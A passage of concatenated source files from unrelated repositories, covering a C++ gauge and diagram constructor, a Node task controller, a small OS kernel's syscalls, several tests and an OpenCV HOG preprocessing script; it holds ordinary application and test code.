pNewElement->SetRange (pScaleInfo->m_dblStart, pScaleInfo->m_dblFinish, index);
pNewElement->SetStep (pScaleInfo->m_dblStep, index);
pNewElement->SetTextLabelFormat (pScaleInfo->m_strLabelFormat, index);
pNewElement->SetTickMarkStyle (pScaleInfo->m_MinorTickMarkStyle, FALSE, pScaleInfo->m_dblMinorTickMarkSize, index);
pNewElement->SetTickMarkStyle (pScaleInfo->m_MajorTickMarkStyle, TRUE, pScaleInfo->m_dblMajorTickMarkSize, index);
pNewElement->SetMajorTickMarkStep (pScaleInfo->m_dblMajorTickMarkStep, index);
pNewElement->SetScaleFillBrush (pScaleInfo->m_brFill, index);
pNewElement->SetScaleOutlineBrush (pScaleInfo->m_brOutline, index);
pNewElement->SetScaleTextBrush (pScaleInfo->m_brText, index);
pNewElement->SetScaleTickMarkBrush (pScaleInfo->m_brTickMarkMinor, FALSE, index);
pNewElement->SetScaleTickMarkBrush (pScaleInfo->m_brTickMarkMajor, TRUE, index);
pNewElement->SetScaleOffsetFromFrame (pScaleInfo->m_dblOffsetFromFrame, index);
}
for (i = 0; i < (int)infoElement.m_arPointers.GetSize (); i++)
{
const CBCGPVisualInfo::XLinearPointer* pPointerInfo =
(const CBCGPVisualInfo::XLinearPointer*)infoElement.m_arPointers[i];
CBCGPLinearGaugePointer pointer(pPointerInfo->m_brFill,
pPointerInfo->m_brOutline, pPointerInfo->m_Style, pPointerInfo->m_dblSize,
pPointerInfo->m_dblWidth);
int index = pNewElement->AddPointer (pointer, pPointerInfo->m_nScale, FALSE);
pNewElement->SetValue (pPointerInfo->m_dblValue, index, 0, FALSE);
}
for (i = 0; i < (int)infoElement.m_arRanges.GetSize (); i++)
{
const CBCGPVisualInfo::XLinearColoredRange* pRangeInfo =
(const CBCGPVisualInfo::XLinearColoredRange*)infoElement.m_arRanges[i];
pNewElement->AddColoredRange (pRangeInfo->m_dblStartValue, pRangeInfo->m_dblFinishValue, pRangeInfo->m_brFill,
pRangeInfo->m_brOutline, pRangeInfo->m_nScale, pRangeInfo->m_dblStartWidth, pRangeInfo->m_dblFinishWidth,
pRangeInfo->m_dblOffsetFromFrame, pRangeInfo->m_brTextLabel, pRangeInfo->m_brTickMarkOutline, pRangeInfo->m_brTickMarkFill, FALSE);
}
}
else if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szNumericInd) == 0)
{
const CBCGPVisualInfo::XElementNumeric& infoElement =
(const CBCGPVisualInfo::XElementNumeric&)info;
CBCGPNumericIndicatorImpl* pNewElement = new CBCGPNumericIndicatorImpl;
pElement = pNewElement;
ConstructGaugeElement (*pElement, info);
pNewElement->SetStyle (infoElement.m_Style);
pNewElement->SetColors (infoElement.m_Colors);
if (!infoElement.m_fmtText.IsEmpty())
{
pNewElement->SetTextFormat (infoElement.m_fmtText);
}
pNewElement->SetCells (infoElement.m_nCells);
pNewElement->SetDecimals (infoElement.m_nDecimals);
pNewElement->SetSeparatorWidth (infoElement.m_nSeparatorWidth);
pNewElement->SetDrawSign (infoElement.m_bDrawSign);
pNewElement->SetDrawDecimalPoint (infoElement.m_bDrawDecimalPoint);
pNewElement->SetDrawLeadingZeros (infoElement.m_bDrawLeadingZeros);
pNewElement->SetValue (infoElement.m_dblValue);
}
else if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szColorInd) == 0)
{
const CBCGPVisualInfo::XElementColor& infoElement =
(const CBCGPVisualInfo::XElementColor&)info;
CBCGPColorIndicatorImpl* pNewElement = new CBCGPColorIndicatorImpl;
pElement = pNewElement;
ConstructGaugeElement (*pElement, info);
pNewElement->SetColors (infoElement.m_Colors);
pNewElement->SetStyle (infoElement.m_Style);
pNewElement->SetStretched (infoElement.m_bStretched);
}
else if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szTextInd) == 0)
{
const CBCGPVisualInfo::XElementText& infoElement =
(const CBCGPVisualInfo::XElementText&)info;
CBCGPTextGaugeImpl* pNewElement = new CBCGPTextGaugeImpl;
pElement = pNewElement;
ConstructGaugeElement (*pElement, info);
pNewElement->SetTextBrush (infoElement.m_brText);
if (!infoElement.m_fmtText.IsEmpty())
{
pNewElement->SetTextFormat (infoElement.m_fmtText);
}
pNewElement->SetText (infoElement.m_strText, infoElement.m_brText);
}
else if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szImage) == 0)
{
const CBCGPVisualInfo::XElementImage& infoElement =
(const CBCGPVisualInfo::XElementImage&)info;
CBCGPImageGaugeImpl* pNewElement = new CBCGPImageGaugeImpl;
pElement = pNewElement;
ConstructGaugeElement (*pElement, info);
ConstructImage(pNewElement->m_Image, infoElement.m_Image);
}
return pElement;
}
void CBCGPVisualConstructor::ConstructGaugeElement (CBCGPGaugeImpl& element, const CBCGPVisualInfo::XGaugeElement& info) const
{
ConstructBaseElement(element, info);
element.SetInteractiveMode (info.m_bIsInteractiveMode);
element.SetToolTip (info.m_strToolTip, info.m_strDescription);
element.SetFrameSize (info.m_nFrameSize);
}
CBCGPDiagramVisualObject* CBCGPVisualConstructor::CreateDiagramObject(const CBCGPVisualInfo::XDiagramElement& info, const CBCGPVisualContainer& container) const
{
CBCGPDiagramVisualObject* pElement = NULL;
if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szDiagramCustom) == 0 ||
!info.m_strCustomName.IsEmpty ())
{
const CBCGPDiagramVisualContainer* pContainer = DYNAMIC_DOWNCAST(CBCGPDiagramVisualContainer, &container);
if (pContainer != NULL)
{
pElement = pContainer->CreateCustomObject(info.m_strCustomName);
}
}
else
{
if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szDiagramConnector) == 0)
{
pElement = new CBCGPDiagramConnector;
}
else if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szDiagramConnectorShelf) == 0)
{
pElement = new CBCGPDiagramShelfConnector;
}
else if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szDiagramConnectorElbow) == 0)
{
pElement = new CBCGPDiagramElbowConnector;
}
else if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szDiagramShape) == 0)
{
pElement = new CBCGPDiagramShape;
}
else if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szDiagramTable) == 0)
{
pElement = new CBCGPDiagramTableShape;
}
else if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szDiagramImage) == 0)
{
pElement = new CBCGPDiagramImageObject;
}
}
return pElement;
}
CBCGPDiagramVisualObject* CBCGPVisualConstructor::CreateDiagramElement(const CBCGPVisualInfo::XDiagramElement& info, const CBCGPVisualContainer& container) const
{
CBCGPDiagramVisualObject* pElement = CreateDiagramObject(info, container);
if (pElement == NULL)
{
ASSERT(FALSE);
return NULL;
}
if (pElement->IsKindOf (RUNTIME_CLASS (CBCGPDiagramConnector)))
{
const CBCGPVisualInfo::XElementDiagramConnector& infoElement =
(const CBCGPVisualInfo::XElementDiagramConnector&)info;
CBCGPDiagramConnector* pNewElement = (CBCGPDiagramConnector*)pElement;
ConstructDiagramElement (*pElement, info);
pNewElement->SetCurveType (infoElement.m_curveType);
pNewElement->SetBeginArrow (infoElement.m_arrowBegin.m_nShape, infoElement.m_arrowBegin.m_dLength, infoElement.m_arrowBegin.m_dWidth);
pNewElement->SetBeginArrowFillBrush (infoElement.m_arrowBegin.m_brFill);
pNewElement->SetBeginArrowOutlineBrush (infoElement.m_arrowBegin.m_brOutline);
pNewElement->SetEndArrow (infoElement.m_arrowEnd.m_nShape, infoElement.m_arrowEnd.m_dLength, infoElement.m_arrowEnd.m_dWidth);
pNewElement->SetEndArrowFillBrush (infoElement.m_arrowEnd.m_brFill);
pNewElement->SetEndArrowOutlineBrush (infoElement.m_arrowEnd.m_brOutline);
for(int i = 0; i < (int)infoElement.m_arPoints.GetSize (); i++)
{
const CBCGPVisualInfo::XDiagramAnchorPoint* pPointInfo = infoElement.m_arPoints[i];
CBCGPDiagramAnchorPoint point;
point.m_idObject.m_nId = pPointInfo->m_idObject.m_nID;
point.m_idObject.m_bConnector = pPointInfo->m_idObject.m_bConnector;
point.m_nConnectionPort = pPointInfo->m_nConnectionPort;
point.m_ptNullAnchor = pPointInfo->m_ptNullAnchor;
pNewElement->m_arPoints.Add (point);
}
if (pElement->IsKindOf (RUNTIME_CLASS (CBCGPDiagramShelfConnector)))
{
CBCGPDiagramShelfConnector* pConnector = (CBCGPDiagramShelfConnector*)pElement;
pConnector->SetShelfSize(((const CBCGPVisualInfo::XElementDiagramConnectorShelf&)infoElement).m_dShelfOffset);
}
else if (pElement->IsKindOf (RUNTIME_CLASS (CBCGPDiagramElbowConnector)))
{
CBCGPDiagramElbowConnector* pConnector = (CBCGPDiagramElbowConnector*)pElement;
pConnector->SetOrientation(((const CBCGPVisualInfo::XElementDiagramConnectorElbow&)infoElement).m_Orientation);
pConnector->SetResizeHandlePoint(((const CBCGPVisualInfo::XElementDiagramConnectorElbow&)infoElement).m_ptResizeHandle);
}
}
else if (pElement->IsKindOf (RUNTIME_CLASS (CBCGPDiagramTableShape)))
{
const CBCGPVisualInfo::XElementDiagramTable& infoElement =
(const CBCGPVisualInfo::XElementDiagramTable&)info;
CBCGPDiagramTableShape* pNewElement = (CBCGPDiagramTableShape*)pElement;
ConstructDiagramElement (*pElement, info);
pNewElement->m_shape = infoElement.m_shape;
pNewElement->m_bCaption = infoElement.m_bCaption;
pNewElement->m_brCaptionFill = infoElement.m_brCaptionFill;
pNewElement->m_CaptionData.SetText (infoElement.m_CaptionData.m_strText, infoElement.m_CaptionData.m_brText);
pNewElement->m_CaptionData.SetTextFormat (infoElement.m_CaptionData.m_fmtText);
}
else if (pElement->IsKindOf (RUNTIME_CLASS (CBCGPDiagramShape)))
{
const CBCGPVisualInfo::XElementDiagramShape& infoElement =
(const CBCGPVisualInfo::XElementDiagramShape&)info;
CBCGPDiagramShape* pNewElement = (CBCGPDiagramShape*)pElement;
ConstructDiagramElement (*pElement, info);
pNewElement->m_shape = infoElement.m_shape;
}
else if (pElement->IsKindOf (RUNTIME_CLASS (CBCGPDiagramImageObject)))
{
const CBCGPVisualInfo::XElementDiagramImage& infoElement =
(const CBCGPVisualInfo::XElementDiagramImage&)info;
CBCGPDiagramImageObject* pNewElement = (CBCGPDiagramImageObject*)pElement;
ConstructDiagramElement (*pElement, info);
pNewElement->SetImageAlign (infoElement.m_AlignHorz, infoElement.m_AlignVert, infoElement.m_bLockAspectRatio);
ConstructImage(pNewElement->m_Image, infoElement.m_Image);
}
else
{
ConstructDiagramElement (*pElement, info);
}
if (pElement != NULL && !info.m_strCustomProps.IsEmpty ())
{
pElement->FromTag (info.m_strCustomProps);
}
return pElement;
}
void CBCGPVisualConstructor::ConstructDiagramElement (CBCGPDiagramVisualObject& element, const CBCGPVisualInfo::XDiagramElement& info) const
{
ConstructBaseElement(element, info);
element.SetItemID (CBCGPDiagramItemID(info.m_idItem.m_nID, info.m_idItem.m_bConnector));
element.m_brFill = info.m_brFill;
element.m_brOutline = info.m_brOutline;
element.m_brShadow = info.m_brShadow;
for (int i = 0; i < (int)info.m_arDataObjects.GetSize (); i++)
{
CBCGPVisualDataObject* pData = NULL;
const CBCGPVisualInfo::XData* pDataObject = info.m_arDataObjects[i];
if (pDataObject->GetName ().Compare (CBCGPVisualInfo::s_szDataDiagramText) == 0)
{
const CBCGPVisualInfo::XDiagramTextData* pDataInfo =
(const CBCGPVisualInfo::XDiagramTextData*)pDataObject;
CBCGPDiagramTextDataObject* pDataText = new CBCGPDiagramTextDataObject(pDataInfo->m_strText, pDataInfo->m_brText);
pDataText->SetTextFormat (pDataInfo->m_fmtText);
pData = pDataText;
}
if (pData != NULL)
{
element.AddData (pData);
}
}
}
void CBCGPVisualConstructor::ConstructImage (CBCGPImage& image, const CBCGPVisualInfo::XImage& info) const
{
if (info.m_ID.m_Value != 0)
{
image.Load (info.m_ID.m_Value, info.m_strType.IsEmpty () ? NULL : (LPCTSTR)info.m_strType);
}
else if (!info.m_strPath.IsEmpty ())
{
image.Load (info.m_strPath);
}
}
|
bluecolor/storm | api/controllers/TaskInstanceController.js |
var Status = require('../constants/Status');
var util = require('util');
var BaseController = require('./BaseController');
var TaskInstanceController = {
find: function(req, res){
var id = req.param('id');
var respond = function(instances){
res.send(instances);
};
TaskInstanceService.find(id).then(respond);
},
findBySession: function(req, res){
var sid = req.param('sid');
var respond = function(instances){
if(_.isEmpty(instances)){
instances = [];
}
res.send(instances);
};
TaskInstanceService.findBySession(sid).then(respond);
},
/**
* todo handle valid status list
* @param req
* @param res
*/
findByStatus: function(req, res){
var status = req.param('status');
var respond = function(t){
res.send(t);
};
status = status.split(',');
TaskInstanceService.findByStatus(status).then(respond);
},
destroy: function(req, res){
var id = req.param('id');
var respond = function(r){
res.send(r);
};
TaskInstanceService.destroy(id).then(respond);
},
destroyBySession : function(req, res){
var sid = req.param('sid');
var respond = function(r){
res.send(r);
};
TaskInstanceService.destroyBySession(sid).then(respond);
},
makeReady : function(req, res){
var respond= function(task){
res.send(task);
};
var onException = function(e){
res.serverError(e);
};
var t = this.get(req);
var u = req.session.passport.user;
TaskInstanceService.makeReady(t,u)
.then(respond)
.catch(onException);
},
block: function(req, res){
var respond= function(tasks){
res.send(tasks);
};
var onException = function(e){
res.serverError(util.format('Internal server error! %s',e));
};
var t = this.get(req);
var u = req.session.passport.user;
TaskInstanceService.block(t,u)
.then(respond)
.catch(onException);
},
exclude: function(req, res){
var id = this.get(req);
var respond = function(t){
res.send(t);
};
var onError = function(e){
res.serverError(e);
};
var u = req.session.passport.user;
TaskInstanceService
.exclude(id,u)
.then(respond)
.catch(onError);
},
include: function(req, res){
var respond= function(tasks){
res.send(tasks);
};
var onException = function(e){
res.serverError(e);
};
var t = this.get(req);
var u = req.session.passport.user;
TaskInstanceService.include(t, u).then(respond).catch(onException);
},
searchLatestByName: function(req, res){
var respond = ( t )=>{
res.send(t);
};
var name = req.param('q');
TaskInstanceService.searchLatestByName(name).then(respond);
},
update: function(req,res){
var respond = ( instance )=>{
res.send(instance);
};
var t = _.extend(req.body || {});
TaskInstanceService.update(t).then(respond);
},
findErrors: function(req, res){
var respond = (r)=>{
res.send(r);
};
TaskInstanceService.findErrors().then(respond);
},
kill: function(req, res){
var t = this.get(req),
u = req.session.passport.user,
respond = (r)=>{
res.send(r);
};
TaskInstanceService.kill(t,u.username).then(respond);
}
};
module.exports = _.extend(TaskInstanceController,BaseController);
|
acdaniells/spiral | spiral/cli/main.py | <gh_stars>0
#!/usr/bin/env python3
"""Spiral developer application main module."""
from spiral import App, CaughtSignal
from spiral.cli.controllers.base import Base
class SpiralApp(App):
"""Spiral developer application."""
class Meta:
label = "spiral"
controller = "base"
template_module = "spiral.cli.templates"
template_handler = "jinja2"
config_handler = "yaml"
config_file_suffix = ".yml"
extensions = ["generate", "yaml", "jinja2"]
handlers = [Base]
class SpiralTestApp(SpiralApp):
"""Spiral testing application."""
class Meta:
argv = []
config_files = []
exit_on_close = False
def main(argv=None):
with SpiralApp() as app:
try:
app.run()
except AssertionError as e: # pragma: nocover
print(f"AssertionError > {e.args[0]}") # pragma: nocover
app.exit_code = 1 # pragma: nocover
except CaughtSignal as e: # pragma: nocover
print(f"\n{e}") # pragma: nocover
app.exit_code = 0 # pragma: nocover
if __name__ == "__main__":
main() # pragma: nocover
|
ddboline/movie_collection_app | make_collection.py | <reponame>ddboline/movie_collection_app
#! /usr/bin/env python
# -*- coding: utf-8 -*-
""" manage collection """
from __future__ import (absolute_import, division, print_function, unicode_literals)
from movie_collection_app.make_collection import make_collection_parse
if __name__ == '__main__':
make_collection_parse()
|
gbaliarda/TPE2-SO | Kernel/interruptions/syscalls.c | // This is a personal academic project. Dear PVS-Studio, please check it.
// PVS-Studio Static Code Analyzer for C, C++ and C#: http://www.viva64.com
#include "../include/naiveConsole.h"
#include "keyboard.h"
#include "interrupts.h"
#include "syscalls.h"
#include "time.h"
#include "../include/pipes.h"
#include "../include/scheduler.h"
#include "../include/lib.h"
int mayus = 0;
Registers b, bAux;
Registers *backupRegisters = &b;
Registers *backupAuxRegisters = &bAux;
void loadRegisters(Registers* registers, Registers *from);
int64_t write(char* buf, uint64_t count) {
fdPipe *stdout = getCurrentStdout();
if (!stdout) {
for (int i = 0; i < count; i++)
ncPrintChar(buf[i]);
} else {
pipeWrite(stdout, buf);
}
return count;
}
int read(char* buf, int limit) {
int count = 0;
unsigned char key;
fdPipe *stdin = getCurrentStdin();
pcb *currentProcess = getCurrentProcess();
if (currentProcess->priority != 1 && stdin == NULL) {
buf[0] = 0;
return 0;
}
while (count < limit || limit == -1) {
if (!stdin) {
waitForKeyboard();
key = getInput();
} else {
key = (unsigned char) pipeRead(stdin, NULL, 1);
}
switch (key) {
case (unsigned char)-1:
return -1;
case 0:
if (!stdin)
continue;
else {
buf[count] = 0;
return count;
}
case '\n':
if (!stdin)
ncNewline();
buf[count] = 0;
return count;
case 8:
if (count > 0 && ncBackspace())
count--;
break;
// F1, guarda el estado de los registros en el momento actual
case 17:
loadRegisters(backupRegisters, backupAuxRegisters);
break;
case 18: // F2
exit();
break;
case 19: // F3
return -1;
break;
// shifts izq, der y sus release; y bloq mayus
case 11:
case 14:
case 15:
case 0xAA:
case 0xB6:
mayus = !mayus;
break;
default:
if(mayus && key >= 'a' && key <= 'z')
key -= 'a' - 'A';
if(mayus && key == '6')
key = '&';
if (count < 100)
buf[count] = key;
count++;
if (!stdin)
ncPrintChar(key);
break;
}
}
buf[count] = 0;
return (count >= 100) ? 100 : count;
}
void loadRegisters(Registers* registers, Registers *from) {
registers->rax = from->rax;
registers->rbx = from->rbx;
registers->rcx = from->rcx;
registers->rdx = from->rdx;
registers->rbp = from->rbp;
registers->rdi = from->rdi;
registers->rsi = from->rsi;
registers->r8 = from->r8;
registers->r9 = from->r9;
registers->r10 = from->r10;
registers->r11 = from->r11;
registers->r12 = from->r12;
registers->r13 = from->r13;
registers->r14 = from->r14;
registers->r15 = from->r15;
}
void inforeg(Registers *registers) {
loadRegisters(registers, backupRegisters);
}
void saveBackup() {
saveState(backupAuxRegisters);
}
void printmem(uint64_t pointer) {
uint8_t *arr = (uint8_t*) pointer;
for (int i = 0; i < 32; i++){
if(arr[i] <= 0xF)
ncPrint("0");
ncPrintHex(arr[i]);
ncPrint(" ");
}
ncNewline();
}
void getDateTime(Time *dayTime) {
getTimeRTC(dayTime);
}
void clearScreen() {
ncClear();
}
void exit() {
closeFdPipe(getCurrentStdin());
closeFdPipe(getCurrentStdout());
exitCurrentProcess();
runScheduler();
}
void printProcess() {
printProcessList();
}
void killProcess(uint32_t pid) {
killPid(pid);
}
void changePriority(uint32_t pid, uint8_t newPriority) {
changeProcessPriority(pid, newPriority);
}
void changeState(uint32_t pid) {
changeProcessState(pid);
} |
ihydrogen/hydrogen-chat-bot-py | vk_auth/account_manager.py | import json as j
from utils import config_file
from vk_api.api import Account
# Name for key of acc list
ACCOUNT_LIST = "account list"
class AccountManager:
def __init__(self, location=config_file.CONF_FILE):
self.location = location
# location of file with users
location = config_file.CONF_FILE
def get_account_list_raw(self, accs):
if accs == None:
return []
accs = accs.replace("'", '"')
result = []
json = j.loads(accs)
for object in json:
result.append(j.loads(str(object).replace("'", '"'), object_hook=Account.from_json))
return result
def add_account_raw(self, acc, list):
for _acc in list:
list[list.index(_acc)] = _acc.__dict__
list.append(acc.__dict__)
jsonchik = j.dumps(list)
return jsonchik
def get_account_list(self):
config_file.init_field(ACCOUNT_LIST, '[]', self.location)
accs = config_file.get_field(ACCOUNT_LIST, self.location)
return self.get_account_list_raw(accs)
def add_account(self, acc):
list = self.get_account_list()
config_file.set_field(ACCOUNT_LIST, self.add_account_raw(acc, list), self.location)
|
Chyroc/underscore | utils/intutil/intutil_test.go | <gh_stars>0
package intutil_test
import (
"github.com/Chyroc/underscore/utils/intutil"
"github.com/stretchr/testify/assert"
"testing"
)
type IntRangeTest struct {
s string
list []int
err string
}
func TestParserIntRange(t *testing.T) {
as := assert.New(t)
for _, test := range []IntRangeTest{
//{"1", []int{1}, ""},
//{"1,2", []int{1, 2}, ""},
//{"1,2,3", []int{1, 2, 3}, ""},
//{"1,2,3,4", []int{1, 2, 3, 4}, ""},
//{"1-4", []int{1, 2, 3, 4}, ""},
//{"1,2,3,8-10", []int{1, 2, 3, 8, 9, 10}, ""},
//{"1,2,3,8-10,14,16", []int{1, 2, 3, 8, 9, 10, 14, 16}, ""},
//{"1,2,3,8-10,14,16,20-30", []int{1, 2, 3, 8, 9, 10, 14, 16, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30}, ""},
//{"1,2,3,8-10,14,16,20-30,99", []int{1, 2, 3, 8, 9, 10, 14, 16, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 99}, ""},
//
{"1-1-1",nil,""},
} {
list, err := intutil.ParserIntRange(test.s)
if test.err != "" {
as.NotNil(err)
as.Equal(test.err, err.Error())
} else {
as.Nil(err)
as.Equal(test.list, list)
}
}
list, err := intutil.ParserIntRange("1")
as.Nil(err)
as.Equal([]int{1}, list)
}
|
Thong-Nguyen-Zigvy/zv-react-training | Training5/thongnq-training5/src/state/reducers/todos.js | import {
CREATE_TODO,
RETRIEVE_TODOS,
UPDATE_TODO,
DELETE_TODO,
FILTER_TODO_BY_NAME
} from "../actions/type";
const initialState = [];
const todoReducer = (todos = initialState, action) => {
const {type, payload} = action;
switch (type){
case CREATE_TODO:
return [...todos, payload];
case RETRIEVE_TODOS:
return payload;
case UPDATE_TODO:
return todos.map(todo => {
if(todo.id === payload.id){
return {...todo, ...payload};
} else {
return todo;
}
});
case DELETE_TODO:
return todos.filter(todo => todo.id !== payload.id);
case FILTER_TODO_BY_NAME:
return todos.filter(todo => todo.name.includes(payload.name));
default:
return todos;
}
}
export default todoReducer; |
andykingking/http_stub | spec/lib/http_stub/server/request/factory_spec.rb | <filename>spec/lib/http_stub/server/request/factory_spec.rb
describe HttpStub::Server::Request::Factory do
let(:session_configuration) { instance_double(HttpStub::Server::Session::Configuration) }
let(:session_registry) { instance_double(HttpStub::Server::Session::Registry) }
let(:server_memory) { instance_double(HttpStub::Server::Memory::Memory, sessions: session_registry) }
let(:session_identifier_strategy) { instance_double(HttpStub::Server::Session::IdentifierStrategy) }
let(:factory) { described_class.new(session_configuration, server_memory) }
before(:example) do
allow(HttpStub::Server::Session::IdentifierStrategy).to receive(:new).and_return(session_identifier_strategy)
end
it "creates a session identifier strategy based on the session configuration" do
expect(HttpStub::Server::Session::IdentifierStrategy).to receive(:new).with(session_configuration)
factory
end
describe "#create" do
let(:rack_request) { Rack::RequestFixture.create }
let(:sinatra_parameters) { { some_parameter: "some parameter value" } }
let(:logger) { instance_double(Logger) }
let(:discovered_session_id) { "some session id" }
let(:sinatra_request) { instance_double(HttpStub::Server::Request::SinatraRequest) }
let(:session) { instance_double(HttpStub::Server::Session::Session) }
let(:server_request) { instance_double(HttpStub::Server::Request::Request) }
subject { factory.create(rack_request, sinatra_parameters, logger) }
before(:example) do
allow(HttpStub::Server::Request::SinatraRequest).to receive(:new).and_return(sinatra_request)
allow(session_identifier_strategy).to receive(:identifier_for).and_return(discovered_session_id)
allow(session_registry).to receive(:find_or_create).and_return(session)
end
it "creates a sinatra request for the rack request and sinatra parameters" do
expect(HttpStub::Server::Request::SinatraRequest).to receive(:new).with(rack_request, sinatra_parameters)
subject
end
it "discovers the session identifier for the sinatra request" do
expect(session_identifier_strategy).to receive(:identifier_for).with(sinatra_request)
subject
end
it "finds or creates the session for the identifier via the servers session registry" do
expect(session_registry).to receive(:find_or_create).with(discovered_session_id, logger)
subject
end
it "creates a http_stub request containing the sinatra request" do
expect(HttpStub::Server::Request::Request).to receive(:new).with(sinatra_request, anything, anything)
subject
end
it "returns a http_stub request containing the discovered session id" do
expect(subject.session_id).to eql(discovered_session_id)
end
it "returns a http_stub request containing the retrieved session" do
expect(subject.session).to eql(session)
end
end
end
|
xiaojie19852006/incubator-linkis | linkis-public-enhancements/linkis-datasource/linkis-metadata/src/main/java/org/apache/linkis/metadata/domain/mdq/vo/ApplicationVO.java | <filename>linkis-public-enhancements/linkis-datasource/linkis-metadata/src/main/java/org/apache/linkis/metadata/domain/mdq/vo/ApplicationVO.java
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.linkis.metadata.domain.mdq.vo;
public class ApplicationVO {
private String productName;
private String projectName;
private String usage;
public String getProductName() {
return productName;
}
public void setProductName(String productName) {
this.productName = productName;
}
public String getProjectName() {
return projectName;
}
public void setProjectName(String projectName) {
this.projectName = projectName;
}
public String getUsage() {
return usage;
}
public void setUsage(String usage) {
this.usage = usage;
}
}
|
SulaimanAlabbar/discord-bot | tools/migrate.js | <filename>tools/migrate.js
const { spawnSync } = require("child_process");
const { resolve } = require("path");
const relative = require("relative");
const migrationsDirectory = require("./migrationsDirectory");
const migrateCommand = resolve(
__dirname,
"../",
"node_modules/migrate/bin/migrate"
);
const command = process.argv[2];
if (command === "create") {
// migrations-dir has to be a relative path here
const migrationsDirectoryRelative = relative(
process.cwd(),
migrationsDirectory
);
spawnSync(
"node",
[
migrateCommand,
"create",
process.argv[3],
`--migrations-dir=${migrationsDirectoryRelative}`
],
{ stdio: "inherit" }
);
} else if (command === "up" || command === "down") {
spawnSync(
"node",
[
migrateCommand,
command,
...(process.argv[3] ? process.argv[3] : []),
`--migrations-dir=${migrationsDirectory}`
],
{ stdio: "inherit" }
);
} else if (command === "list") {
spawnSync(
"node",
[migrateCommand, "list", `--migrations-dir=${migrationsDirectory}`],
{ stdio: "inherit" }
);
}
|
DavideCorradiDev/houzi-game-engine | source/houal/test/hou/al/test_al_state.cpp | // Houzi Game Engine
// Copyright (c) 2018 <NAME>
// Licensed under the MIT license.
#include "hou/al/test_al_base.hpp"
#include "hou/al/al_state.hpp"
using namespace hou;
namespace
{
class test_al_state : public test_al_base
{};
} // namespace
TEST_F(test_al_state, set_distance_model)
{
EXPECT_EQ(AL_INVERSE_DISTANCE_CLAMPED, al::get_distance_model());
al::set_distance_model(AL_INVERSE_DISTANCE);
EXPECT_EQ(AL_INVERSE_DISTANCE, al::get_distance_model());
}
TEST_F(test_al_state, set_doppler_factor)
{
EXPECT_FLOAT_EQ(1.f, al::get_doppler_factor());
al::set_doppler_factor(0.5f);
EXPECT_FLOAT_EQ(0.5f, al::get_doppler_factor());
}
TEST_F(test_al_state, set_speed_of_sound)
{
EXPECT_FLOAT_EQ(343.3f, al::get_speed_of_sound());
al::set_speed_of_sound(0.5f);
EXPECT_FLOAT_EQ(0.5f, al::get_speed_of_sound());
}
|
pection-zz/Lenquality-MachineLearning | MachineLearning/TestforPreprocess.py | import cv2
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
import argparse
import glob
import os
from random import shuffle
IMAGE_SIZE = 50
BLOCKSIZE = 20
BLOCKSTRIBE = BLOCKSIZE//2
CELLSIZE = BLOCKSIZE
NBINS = 9
DERIVAPERTURE = 1
WINSIGMA = -1.
HISTOGRAMNORMTYPE = 0
L2HYSTHRESHOLD = 0.2
GAMMACORRECTION = 1
NLEVELS = 64
SINEDGRADIENTS = True
DATA_SET_NAME = "HOGFull1Font"
FILENAME = "{}-imagesize-{}-block-{}-cell-{}-bin-{}-sined-{}"
FILENAME = FILENAME.format( DATA_SET_NAME,
IMAGE_SIZE,
BLOCKSIZE,
CELLSIZE,
NBINS,
SINEDGRADIENTS)
def createHOGDescription():
winSize = (IMAGE_SIZE, IMAGE_SIZE)
blockSize = (BLOCKSIZE, BLOCKSIZE)
blockStride = (BLOCKSTRIBE, BLOCKSTRIBE)
cellSize = (CELLSIZE, CELLSIZE)
nbins = NBINS
derivAperture = DERIVAPERTURE
winSigma = WINSIGMA
histogramNormType = HISTOGRAMNORMTYPE
L2HysThreshold = L2HYSTHRESHOLD
gammaCorrection = GAMMACORRECTION
nlevels = NLEVELS
signedGradients = SINEDGRADIENTS
hog = cv2.HOGDescriptor(winSize,blockSize,blockStride,cellSize,nbins,derivAperture,winSigma,
histogramNormType,L2HysThreshold,gammaCorrection,nlevels)
return hog
path = "C:\Python_program\Machine_learning\images\SV_BL\\"
name = "SEMI_SV_B4_BL_001"
img = cv2.imread(path+name+".jpg",0)
img1 = cv2.imread(path+name+".jpg")
# img = cv2.resize(img,(100,100))
kernel = np.ones((5,5),np.float32)
kernel_3 = np.ones((3,3),np.float32)/9
kernel_chud= np.array([[0, -1, 0],
[-1, 5, -1],
[0, -1, 0]], np.float32)
# kernel_chud2= np.array([[-1, -1, -1, -1, -1],
# [-1, -1, -1, -1, -1],
# [-1, -1, 25 -1, -1],
# [-1, -1, -1, -1, -1],
# [-1, -1, -1, -1, -1]], np.float32)
laplacian_kernel = np.array(
[[-1,-1,-1,-1,-1,-1,-1],
[-1,-1,-1,-1,-1,-1,-1],
[-1,-1,-1,-1,-1,-1,-1],
[-1,-1,-1,48,-1,-1,-1],
[-1,-1,-1,-1,-1,-1,-1],
[-1,-1,-1,-1,-1,-1,-1],
[-1,-1,-1,-1,-1,-1,-1]], dtype='int')
laplacian_kernel2 = np.array((
[-1,-1,-1,-1,-1,-1,-1,-1,-1],
[-1,-1,-1,-1,-1,-1,-1,-1,-1],
[-1,-1,-1,-1,-1,-1,-1,-1,-1],
[-1,-1,-1,-1,-1,-1,-1,-1,-1],
